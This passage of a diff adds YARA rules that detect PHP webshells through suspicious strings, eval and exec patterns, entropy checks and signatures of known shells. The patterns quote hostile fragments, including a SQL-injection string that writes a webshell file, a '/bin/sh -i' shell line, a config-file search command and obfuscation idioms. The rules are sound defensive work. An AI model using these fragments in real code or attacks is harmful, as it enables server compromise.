+        $gen_much_sus26 = "TVqQAAMAAA" wide ascii
+        $gen_much_sus30 = "Hacker" wide ascii
+        $gen_much_sus31 = "HACKED" fullword wide ascii
+        $gen_much_sus32 = "hacked" fullword wide ascii
+        $gen_much_sus33 = "hacker" wide ascii
+        $gen_much_sus34 = "grayhat" nocase wide ascii
+        $gen_much_sus35 = "Microsoft FrontPage" wide ascii
+        $gen_much_sus36 = "Rootkit" wide ascii
+        $gen_much_sus37 = "rootkit" wide ascii
+        $gen_much_sus38 = "/*-/*-*/" wide ascii
+        $gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
+        $gen_much_sus40 = "\"e\"+\"v" wide ascii
+        $gen_much_sus41 = "a\"+\"l\"" wide ascii
+        $gen_much_sus42 = "\"+\"(\"+\"" wide ascii
+        $gen_much_sus43 = "q\"+\"u\"" wide ascii
+        $gen_much_sus44 = "\"u\"+\"e" wide ascii
+        $gen_much_sus45 = "/*//*/" wide ascii
+        $gen_much_sus46 = "(\"/*/\"" wide ascii
+        $gen_much_sus47 = "eval(eval(" wide ascii
+        // self remove
+        $gen_much_sus48 = "unlink(__FILE__)" wide ascii
+        $gen_much_sus49 = "Shell.Users" wide ascii
+        $gen_much_sus50 = "PasswordType=Regular" wide ascii
+        $gen_much_sus51 = "-Expire=0" wide ascii
+        $gen_much_sus60 = "_=$$_" wide ascii
+        $gen_much_sus61 = "_=$$_" wide ascii
+        $gen_much_sus62 = "++;$" wide ascii
+        $gen_much_sus63 = "++; $" wide ascii
+        $gen_much_sus64 = "_.=$_" wide ascii
+        $gen_much_sus70 = "-perm -04000" wide ascii
+        $gen_much_sus71 = "-perm -02000" wide ascii
+        $gen_much_sus72 = "grep -li password" wide ascii
+        $gen_much_sus73 = "-name config.inc.php" wide ascii
+        // touch without parameters sets the time to now, not malicious and gives fp
+        $gen_much_sus75 = "password crack" wide ascii
+        $gen_much_sus76 = "mysqlDll.dll" wide ascii
+        $gen_much_sus77 = "net user" wide ascii
+        $gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
+        $gen_much_sus81 = /strrev\(['"]/ wide ascii
+        $gen_much_sus82 = "PHPShell" fullword wide ascii
+        $gen_much_sus821= "PHP Shell" fullword wide ascii
+        $gen_much_sus83 = "phpshell" fullword wide ascii
+        $gen_much_sus84 = "PHPshell" fullword wide ascii
+        $gen_much_sus87 = "deface" wide ascii
+        $gen_much_sus88 = "Deface" wide ascii
+        $gen_much_sus89 = "backdoor" wide ascii
+        $gen_much_sus90 = "r00t" fullword wide ascii
+        $gen_much_sus91 = "xp_cmdshell" fullword wide ascii
+        $gen_much_sus92 = "DEFACE" fullword wide ascii
+        $gen_much_sus93 = "Bypass" fullword wide ascii
+        $gen_much_sus94 = /eval\s{2,20}\(/ nocase wide ascii
+        $gen_much_sus100 = "rot13" wide ascii
+        $gen_much_sus101 = "ini_set('error_log'" wide ascii
+        $gen_much_sus102 = "base64_decode(base64_decode(" wide ascii
+        $gen_much_sus103 = "=$_COOKIE;" wide ascii
+        // {1}.$ .. |{9}.$
+        $gen_much_sus104 = { C0 A6 7B 3? 7D 2E 24 }
+        $gen_much_sus105 = "$GLOBALS[\"__" wide ascii
+        // those calculations don't make really sense :)
+        $gen_much_sus106 = ")-0)" wide ascii
+        $gen_much_sus107 = "-0)+" wide ascii
+        $gen_much_sus108 = "+0)+" wide ascii
+        $gen_much_sus109 = "+(0/" wide ascii
+        $gen_much_sus110 = "+(0+" wide ascii
+        $gen_much_sus111 = "extract($_REQUEST)" wide ascii
+        $gen_much_sus112 = "<?php\t\t\t\t\t\t\t\t\t\t\t" wide ascii
+        $gen_much_sus113 = "\t\t\t\t\t\t\t\t\t\t\textract" wide ascii
+        $gen_much_sus114 = "\" .\"" wide ascii
+        $gen_much_sus115 = "end($_POST" wide ascii
+
+        $weevely1 = /';\n\$\w\s?=\s?'/ wide ascii
+        $weevely2 = /';\x0d\n\$\w\s?=\s?'/ wide ascii // same with \r\n
+        $weevely3 = /';\$\w{1,2}='/ wide ascii
+        $weevely4 = "str_replace" fullword wide ascii
+
+        $gif = { 47 49 46 38 }
+
+        $fp1 = "# Some examples from obfuscated malware:" ascii
+        $fp2 = "* @package   PHP_CodeSniffer" ascii
+        $fp3 = ".jQuery===" ascii
+        $fp4 = "* @param string $lstat encoded LStat string" ascii
+    condition:
+        //any of them or
+        not (
+            uint16(0) == 0x5a4d or
+            // <?xml
+            uint32be(0) == 0x3c3f786d  or
+            // <?XML
+            uint32be(0) == 0x3c3f584d  or
+            $dex at 0 or
+            $pack at 0 or
+            // fp on jar with zero compression
+            uint16(0) == 0x4b50 or
+            1 of ($fp*)
+        )
+        and (
+            any of ( $new_php* ) or
+            $php_short at 0
+        )
+        and (
+            any of ( $dynamic* )
+        )
+        and
+            (
+            $gif at 0 or
+        (
+            (
+                filesize < 1KB and
+                (
+                    1 of ( $gen_much_sus* )
+                )
+            ) or (
+                filesize < 2KB and
+                (
+                    ( #weevely1 + #weevely2 + #weevely3 ) > 2 and
+                    #weevely4 > 1
+                )
+            ) or (
+                filesize < 4000 and
+                (
+                    1 of ( $gen_much_sus* ) or
+                    2 of ( $gen_bit_sus* )
+                )
+            ) or (
+                filesize < 20KB and
+                (
+                    2 of ( $gen_much_sus* ) or
+                    4 of ( $gen_bit_sus* )
+                )
+            ) or (
+                filesize < 50KB and
+                (
+                    3 of ( $gen_much_sus* ) or
+                    5 of ( $gen_bit_sus* )
+                )
+            ) or (
+                filesize < 100KB and
+                (
+                    3 of ( $gen_much_sus* ) or
+                    6 of ( $gen_bit_sus* )
+                )
+            ) or (
+                filesize < 160KB and
+                (
+                    3 of ( $gen_much_sus* ) or
+                    7 of ( $gen_bit_sus* ) or
+                    (
+                        // php files which use strings in the full ascii8 spectrum have a much hioher deviation than normal php-code
+                        // e.g. 4057005718bb18b51b02d8b807265f8df821157ac47f78ace77f21b21fc77232
+                        math.deviation(500, filesize-500, 89.0) > 70
+                        // uncomment and include an "and" above for debugging, also import on top of file. needs yara 4.2.0
+                        //console.log("high deviation") and
+                        //console.log(math.deviation(500, filesize-500, 89.0))
+                    )
+                    // TODO: requires yara 4.2.0 so wait a bit until that's more common
+                    //or
+                    //(
+                        // big file and just one line = minified
+                        //filesize > 10KB and
+                        //math.count(0x0A) < 2
+                    //)
+                )
+            ) or (
+                filesize < 500KB and
+                (
+                    4 of ( $gen_much_sus* ) or
+                    8 of ( $gen_bit_sus* ) or
+                    #gen_much_sus104 > 4
+
+                )
+            )
+        ) or (
+            // file shouldn't be too small to have big enough data for math.entropy
+            filesize > 2KB and filesize < 1MB and
+            (
+                (
+                    // base64 :
+                    // ignore first and last 500bytes because they usually contain code for decoding and executing
+                    math.entropy(500, filesize-500) >= 5.7 and
+                    // encoded text has a higher mean than text or code because it's missing the spaces and special chars with the low numbers
+                    math.mean(500, filesize-500) > 80 and
+                    // deviation of base64 is ~20 according to CyberChef_v9.21.0.html#recipe=Generate_Lorem_Ipsum(3,'Paragraphs')To_Base64('A-Za-z0-9%2B/%3D')To_Charcode('Space',10)Standard_Deviation('Space')
+                    // lets take a bit more because it might not be pure base64 also include some xor, shift, replacement, ...
+                    // 89 is the mean of the base64 chars
+                    math.deviation(500, filesize-500, 89.0) < 23
+                ) or (
+                    // gzinflated binary sometimes used in php webshells
+                    // ignore first and last 500bytes because they usually contain code for decoding and executing
+                    math.entropy(500, filesize-500) >= 7.7 and
+                    // encoded text has a higher mean than text or code because it's missing the spaces and special chars with the low numbers
+                    math.mean(500, filesize-500) > 120 and
+                    math.mean(500, filesize-500) < 136 and
+                    // deviation of base64 is ~20 according to CyberChef_v9.21.0.html#recipe=Generate_Lorem_Ipsum(3,'Paragraphs')To_Base64('A-Za-z0-9%2B/%3D')To_Charcode('Space',10)Standard_Deviation('Space')
+                    // lets take a bit more because it might not be pure base64 also include some xor, shift, replacement, ...
+                    // 89 is the mean of the base64 chars
+                    math.deviation(500, filesize-500, 89.0) > 65
+                )
+            )
+        )
+        )
+}
+
+rule WEBSHELL_PHP_Encoded_Big
+{
+    meta:
+        description = "PHP webshell using some kind of eval with encoded blob to decode"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        date = "2021/02/07"
+        modified = "2024-03-11"
+        score = 50
+        hash = "1d4b374d284c12db881ba42ee63ebce2759e0b14"
+        hash = "fc0086caee0a2cd20609a05a6253e23b5e3245b8"
+        hash = "b15b073801067429a93e116af1147a21b928b215"
+        hash = "74c92f29cf15de34b8866db4b40748243fb938b4"
+        hash = "042245ee0c54996608ff8f442c8bafb8"
+
+        id = "c3bb7b8b-c554-5802-8955-c83722498f8b"
+    strings:
+
+        //strings from private rule capa_php_new
+        $new_php1 = /<\?=[\w\s@$]/ wide ascii
+        $new_php2 = "<?php" nocase wide ascii
+        $new_php3 = "<script language=\"php" nocase wide ascii
+        $php_short = "<?"
+
+        //strings from private rule capa_php_payload
+        // \([^)] to avoid matching on e.g. eval() in comments
+        $cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
+        $cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
+        $cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+        $cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
+        $cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+        $cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
+
+        $m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
+        $m_cpayload_preg_filter2 = "'|.*|e'" nocase wide ascii
+        // TODO backticks
+
+    condition:
+        //console.log(math.entropy(500, filesize-500)) and
+        //console.log(math.mean(500, filesize-500)) and
+        //console.log(math.deviation(500, filesize-500, 89.0)) and
+        //any of them or
+        filesize < 1000KB and (
+            any of ( $new_php* ) or
+        $php_short at 0
+        )
+        and (
+            any of ( $cpayload* ) or
+        all of ( $m_cpayload_preg_filter* )
+        )
+        and (
+            // file shouldn't be too small to have big enough data for math.entropy
+            filesize > 2KB and
+        (
+            // base64 :
+            // ignore first and last 500bytes because they usually contain code for decoding and executing
+            math.entropy(500, filesize-500) >= 5.7 and
+            // encoded text has a higher mean than text or code because it's missing the spaces and special chars with the low numbers
+            math.mean(500, filesize-500) > 80 and
+            // deviation of base64 is ~20 according to CyberChef_v9.21.0.html#recipe=Generate_Lorem_Ipsum(3,'Paragraphs')To_Base64('A-Za-z0-9%2B/%3D')To_Charcode('Space',10)Standard_Deviation('Space')
+            // lets take a bit more because it might not be pure base64 also include some xor, shift, replacement, ...
+            // 89 is the mean of the base64 chars
+            math.deviation(500, filesize-500, 89.0) < 24
+        ) or (
+            // gzinflated binary sometimes used in php webshells
+            // ignore first and last 500bytes because they usually contain code for decoding and executing
+            math.entropy(500, filesize-500) >= 7.7 and
+            // encoded text has a higher mean than text or code because it's missing the spaces and special chars with the low numbers
+            math.mean(500, filesize-500) > 120 and
+            math.mean(500, filesize-500) < 136 and
+            // deviation of base64 is ~20 according to CyberChef_v9.21.0.html#recipe=Generate_Lorem_Ipsum(3,'Paragraphs')To_Base64('A-Za-z0-9%2B/%3D')To_Charcode('Space',10)Standard_Deviation('Space')
+            // lets take a bit more because it might not be pure base64 also include some xor, shift, replacement, ...
+            // 89 is the mean of the base64 chars
+            math.deviation(500, filesize-500, 89.0) > 65
+        )
+        )
+
+}
+
+rule WEBSHELL_PHP_Generic_Backticks
+{
+    meta:
+        description = "Generic PHP webshell which uses backticks directly on user input"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/07"
+        modified = "2023-04-05"
+        hash = "339f32c883f6175233f0d1a30510caa52fdcaa37"
+        hash = "8db86ad90883cd208cf86acd45e67c03f994998804441705d690cb6526614d00"
+        hash = "af987b0eade03672c30c095cee0c7c00b663e4b3c6782615fb7e430e4a7d1d75"
+        hash = "67339f9e70a17af16cf51686918cbe1c0604e129950129f67fe445eaff4b4b82"
+        hash = "144e242a9b219c5570973ca26d03e82e9fbe7ba2773305d1713288ae3540b4ad"
+        hash = "8db86ad90883cd208cf86acd45e67c03f994998804441705d690cb6526614d00"
+
+        id = "b2f1d8d0-8668-5641-8ce9-c8dd71f51f58"
+    strings:
+        $backtick = /`\s*\{?\$(_POST\[|_GET\[|_REQUEST\[|_SERVER\['HTTP_)/ wide ascii
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+    condition:
+        (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and $backtick and filesize < 200
+}
+
+rule WEBSHELL_PHP_Generic_Backticks_OBFUSC
+{
+    meta:
+        description = "Generic PHP webshell which uses backticks directly on user input"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/07"
+        modified = "2023-04-05"
+        hash = "23dc299f941d98c72bd48659cdb4673f5ba93697"
+        hash = "e3f393a1530a2824125ecdd6ac79d80cfb18fffb89f470d687323fb5dff0eec1"
+        hash = "1e75914336b1013cc30b24d76569542447833416516af0d237c599f95b593f9b"
+        hash = "8db86ad90883cd208cf86acd45e67c03f994998804441705d690cb6526614d00"
+
+        id = "5ecb329f-0755-536d-8bfa-e36158474a0b"
+    strings:
+        $s1 = /echo[\t ]{0,500}\(?`\$/ wide ascii
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+    condition:
+        filesize < 500 and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and $s1
+}
+
+rule WEBSHELL_PHP_By_String_Known_Webshell
+{
+    meta:
+        description = "Known PHP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions."
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        date = "2021-01-09"
+        modified = "2023-04-05"
+        score = 70
+        hash = "d889da22893536d5965541c30896f4ed4fdf461d"
+        hash = "10f4988a191774a2c6b85604344535ee610b844c1708602a355cf7e9c12c3605"
+        hash = "7b6471774d14510cf6fa312a496eed72b614f6fc"
+        hash = "decda94d40c3fd13dab21e197c8d05f48020fa498f4d0af1f60e29616009e9bf"
+        hash = "ef178d332a4780e8b6db0e772aded71ac1a6ed09b923cc359ba3c4efdd818acc"
+        hash = "a7a937c766029456050b22fa4218b1f2b45eef0db59b414f79d10791feca2c0b"
+        hash = "e7edd380a1a2828929fbde8e7833d6e3385f7652ea6b352d26b86a1e39130ee8"
+        hash = "0038946739956c80d75fa9eeb1b5c123b064bbb9381d164d812d72c7c5d13cac"
+        hash = "3a7309bad8a5364958081042b5602d82554b97eca04ee8fdd8b671b5d1ddb65d"
+        hash = "a78324b9dc0b0676431af40e11bd4e26721a960c55e272d718932bdbb755a098"
+        hash = "a27f8cd10cedd20bff51e9a8e19e69361cc8a6a1a700cc64140e66d160be1781"
+        hash = "9bbd3462993988f9865262653b35b4151386ed2373592a1e2f8cf0f0271cdb00"
+        hash = "459ed1d6f87530910361b1e6065c05ef0b337d128f446253b4e29ae8cc1a3915"
+        hash = "12b34d2562518d339ed405fb2f182f95dce36d08fefb5fb67cc9386565f592d1"
+        hash = "96d8ca3d269e98a330bdb7583cccdc85eab3682f9b64f98e4f42e55103a71636"
+        hash = "312ee17ec9bed4278579443b805c0eb75283f54483d12f9add7d7d9e5f9f6105"
+        hash = "15c4e5225ff7811e43506f0e123daee869a8292fc8a38030d165cc3f6a488c95"
+        hash = "0c845a031e06925c22667e101a858131bbeb681d78b5dbf446fdd5bca344d765"
+        hash = "d52128bcfff5e9a121eab3d76382420c3eebbdb33cd0879fbef7c3426e819695"
+
+        //TODO regex for 96d8ca3d269e98a330bdb7583cccdc85eab3682f9b64f98e4f42e55103a71636 would it be fast enough?
+
+        id = "05ac0e0a-3a19-5c60-b89a-4a300d8c22e7"
+    strings:
+        $pbs1 = "b374k shell" wide ascii
+        $pbs2 = "b374k/b374k" wide ascii
+        $pbs3 = "\"b374k" wide ascii
+        $pbs4 = "$b374k(\"" wide ascii
+        $pbs5 = "b374k " wide ascii
+        $pbs6 = "0de664ecd2be02cdd54234a0d1229b43" wide ascii
+        $pbs7 = "pwnshell" wide ascii
+        $pbs8 = "reGeorg" fullword wide ascii
+        $pbs9 = "Georg says, 'All seems fine" fullword wide ascii
+        $pbs10 = "My PHP Shell - A very simple web shell" wide ascii
+        $pbs11 = "<title>My PHP Shell <?echo VERSION" wide ascii
+        $pbs12 = "F4ckTeam" fullword wide ascii
+        $pbs15 = "MulCiShell" fullword wide ascii
+        // crawler avoid string
+        $pbs30 = "bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww" wide ascii
+        // <?=($pbs_=@$_GET[2]).@$_($_GET[1])?>
+        $pbs35 = /@\$_GET\s?\[\d\]\)\.@\$_\(\$_GET\s?\[\d\]\)/ wide ascii
+        $pbs36 = /@\$_GET\s?\[\d\]\)\.@\$_\(\$_POST\s?\[\d\]\)/ wide ascii
+        $pbs37 = /@\$_POST\s?\[\d\]\)\.@\$_\(\$_GET\s?\[\d\]\)/ wide ascii
+        $pbs38 = /@\$_POST\[\d\]\)\.@\$_\(\$_POST\[\d\]\)/ wide ascii
+        $pbs39 = /@\$_REQUEST\[\d\]\)\.@\$_\(\$_REQUEST\[\d\]\)/ wide ascii
+        $pbs42 = "array(\"find config.inc.php files\", \"find / -type f -name config.inc.php\")" wide ascii
+        $pbs43 = "$_SERVER[\"\\x48\\x54\\x54\\x50" wide ascii
+        $pbs52 = "preg_replace(\"/[checksql]/e\""
+        $pbs53 = "='http://www.zjjv.com'"
+        $pbs54 = "=\"http://www.zjjv.com\""
+
+        $pbs60 = /setting\["AccountType"\]\s?=\s?3/
+        $pbs61 = "~+d()\"^\"!{+{}"
+        $pbs62 = "use function \\eval as "
+        $pbs63 = "use function \\assert as "
+        $pbs64 = "eval(`/*" wide ascii
+        $pbs65 = "/* Reverse engineering of this file is strictly prohibited. File protected by copyright law and provided under license. */" wide ascii
+        $pbs66 = "Tas9er" fullword wide ascii
+        $pbs67 = "\"TSOP_\";" fullword wide ascii // reverse _POST
+        $pbs68 = "str_rot13('nffreg')" wide ascii // rot13(assert)
+        $pbs69 = "<?=`{$'" wide ascii
+        $pbs70 = "{'_'.$_}[\"_\"](${'_'.$_}[\"_" wide ascii
+        $pbs71 = "\"e45e329feb5d925b\"" wide ascii
+        $pbs72 = "| PHP FILE MANAGER" wide ascii
+        $pbs73 = "\neval(htmlspecialchars_decode(gzinflate(base64_decode($" wide ascii
+        $pbs74 = "/*\n\nShellindir.org\n\n*/" wide ascii
+        $pbs75 = "$shell = 'uname -a; w; id; /bin/sh -i';" wide ascii
+        $pbs76 = "'password' . '/' . 'id' . '/' . " wide ascii
+        $pbs77 = "= create_function /*" wide ascii
+        $pbs78 = "W3LL M!N! SH3LL" wide ascii
+        $pbs79 = "extract($_REQUEST)&&@$" wide ascii
+        $pbs80 = "\"P-h-p-S-p-y\"" wide ascii
+        $pbs81 = "\\x5f\\x72\\x6f\\x74\\x31\\x33" wide ascii
+        $pbs82 = "\\x62\\x61\\x73\\x65\\x36\\x34\\x5f" wide ascii
+        $pbs83 = "*/base64_decode/*" wide ascii
+        $pbs84 = "\n@eval/*" wide ascii
+        $pbs85 = "*/eval/*" wide ascii
+        $pbs86 = "*/ array /*" wide ascii
+        $pbs87 = "2jtffszJe" wide ascii
+        $pbs88 = "edocne_46esab" wide ascii
+        $pbs89 = "eval($_HEADERS" wide ascii
+        $pbs90 = ">Infinity-Sh3ll<" ascii
+
+        $front1 = "<?php eval(" nocase wide ascii
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+        //strings from private rule capa_bin_files
+        $dex   = { 64 65 ( 78 | 79 ) 0a 30 }
+        $pack  = { 50 41 43 4b 00 00 00 02 00 }
+
+    condition:
+        filesize < 1000KB and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and not (
+        uint16(0) == 0x5a4d or
+        $dex at 0 or
+        $pack at 0 or
+        // fp on jar with zero compression
+        uint16(0) == 0x4b50
+        )
+        and
+        ( any of ( $pbs* ) or $front1 in ( 0 .. 60 ) )
+}
+
+rule WEBSHELL_PHP_Strings_SUSP
+{
+    meta:
+        description = "typical webshell strings, suspicious"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        date = "2021/01/12"
+        modified = "2023-07-05"
+        score = 50
+        hash = "0dd568dbe946b5aa4e1d33eab1decbd71903ea04"
+        hash = "dde2bdcde95730510b22ae8d52e4344997cb1e74"
+        hash = "499db4d70955f7d40cf5cbaf2ecaf7a2"
+        hash = "281b66f62db5caab2a6eb08929575ad95628a690"
+        hash = "1ab3ae4d613b120f9681f6aa8933d66fa38e4886"
+
+        id = "25f25df5-4398-562b-9383-e01ccb17e8de"
+    strings:
+        $sstring1 = "eval(\"?>\"" nocase wide ascii
+
+        //strings from private rule capa_php_old_safe
+        $php_short = "<?" wide ascii
+        // prevent xml and asp from hitting with the short tag
+        $no_xml1 = "<?xml version" nocase wide ascii
+        $no_xml2 = "<?xml-stylesheet" nocase wide ascii
+        $no_asp1 = "<%@LANGUAGE" nocase wide ascii
+        $no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+        $no_pdf = "<?xpacket"
+
+        // of course the new tags should also match
+        // already matched by "<?"
+        $php_new1 = /<\?=[^?]/ wide ascii
+        $php_new2 = "<?php" nocase wide ascii
+        $php_new3 = "<script language=\"php" nocase wide ascii
+
+        //strings from private rule php_false_positive
+        // try to use only strings which would be flagged by themselves as suspicious by other rules, e.g. eval
+        // a good choice is a string with good atom quality = ideally 4 unusual characters next to each other
+        $gfp1  = "eval(\"return [$serialised_parameter" // elgg
+        $gfp2  = "$this->assert(strpos($styles, $"
+        $gfp3  = "$module = new $_GET['module']($_GET['scope']);"
+        $gfp4  = "$plugin->$_POST['action']($_POST['id']);"
+        $gfp5  = "$_POST[partition_by]($_POST["
+        $gfp6  = "$object = new $_REQUEST['type']($_REQUEST['id']);"
+        $gfp7  = "The above example code can be easily exploited by passing in a string such as" // ... ;)
+        $gfp8  = "Smarty_Internal_Debug::start_render($_template);"
+        $gfp9  = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
+        $gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
+        $gfp11 = "(eval (getenv \"EPROLOG\")))"
+        $gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
+
+        //strings from private rule capa_php_input
+        $inp1 = "php://input" wide ascii
+        $inp2 = /_GET\s?\[/ wide ascii
+        // for passing $_GET to a function
+        $inp3 = /\(\s?\$_GET\s?\)/ wide ascii
+        $inp4 = /_POST\s?\[/ wide ascii
+        $inp5 = /\(\s?\$_POST\s?\)/ wide ascii
+        $inp6 = /_REQUEST\s?\[/ wide ascii
+        $inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
+        // PHP automatically adds all the request headers into the $_SERVER global array, prefixing each header name by the "HTTP_" string, so e.g. @eval($_SERVER['HTTP_CMD']) will run any code in the HTTP header CMD
+        $inp15 = "_SERVER['HTTP_" wide ascii
+        $inp16 = "_SERVER[\"HTTP_" wide ascii
+        $inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
+        $inp18 = "array_values($_SERVER)" wide ascii
+        $inp19 = /file_get_contents\("https?:\/\// wide ascii
+
+    condition:
+        filesize < 700KB and (
+            (
+                (
+                        $php_short in (0..100) or
+                        $php_short in (filesize-1000..filesize)
+                )
+                and not any of ( $no_* )
+            )
+            or any of ( $php_new* )
+        )
+        and not (
+            any of ( $gfp* )
+        )
+        and
+        ( 1 of ( $sstring* ) and (
+            any of ( $inp* )
+        )
+        )
+}
+
+rule WEBSHELL_PHP_In_Htaccess
+{
+    meta:
+        description = "Use Apache .htaccess to execute php code inside .htaccess"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/07"
+        modified = "2023-07-05"
+        hash = "c026d4512a32d93899d486c6f11d1e13b058a713"
+        hash = "d79e9b13a32a9e9f3fa36aa1a4baf444bfd2599a"
+        hash = "e1d1091fee6026829e037b2c70c228344955c263"
+        hash = "c026d4512a32d93899d486c6f11d1e13b058a713"
+        hash = "8c9e65cd3ef093cd9c5b418dc5116845aa6602bc92b9b5991b27344d8b3f7ef2"
+
+        id = "0f5edff9-22b2-50c9-ae81-72698ea8e7db"
+    strings:
+        $hta = "AddType application/x-httpd-php .htaccess" wide ascii
+
+    condition:
+        filesize <100KB and $hta
+}
+
+rule WEBSHELL_PHP_Function_Via_Get
+{
+    meta:
+        description = "Webshell which sends eval/assert via GET"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+        author = "Arnim Rupp (https://github.com/ruppde)"
+        reference = "Internal Research"
+        score = 75
+        date = "2021/01/09"
+        modified = "2023-04-05"
+        hash = "ce739d65c31b3c7ea94357a38f7bd0dc264da052d4fd93a1eabb257f6e3a97a6"
+        hash = "d870e971511ea3e082662f8e6ec22e8a8443ca79"
+        hash = "73fa97372b3bb829835270a5e20259163ecc3fdbf73ef2a99cb80709ea4572be"
+
+        id = "5fef1063-2f9f-516e-86f6-cfd98bb05e6e"
+    strings:
+        $sr0 = /\$_GET\s?\[.{1,30}\]\(\$_GET\s?\[/ wide ascii
+        $sr1 = /\$_POST\s?\[.{1,30}\]\(\$_GET\s?\[/ wide ascii
+        $sr2 = /\$_POST\s?\[.{1,30}\]\(\$_POST\s?\[/ wide ascii
+        $sr3 = /\$_GET\s?\[.{1,30}\]\(\$_POST\s?\[/ wide ascii
+        $sr4 = /\$_REQUEST\s?\[.{1,30}\]\(\$_REQUEST\s?\[/ wide ascii
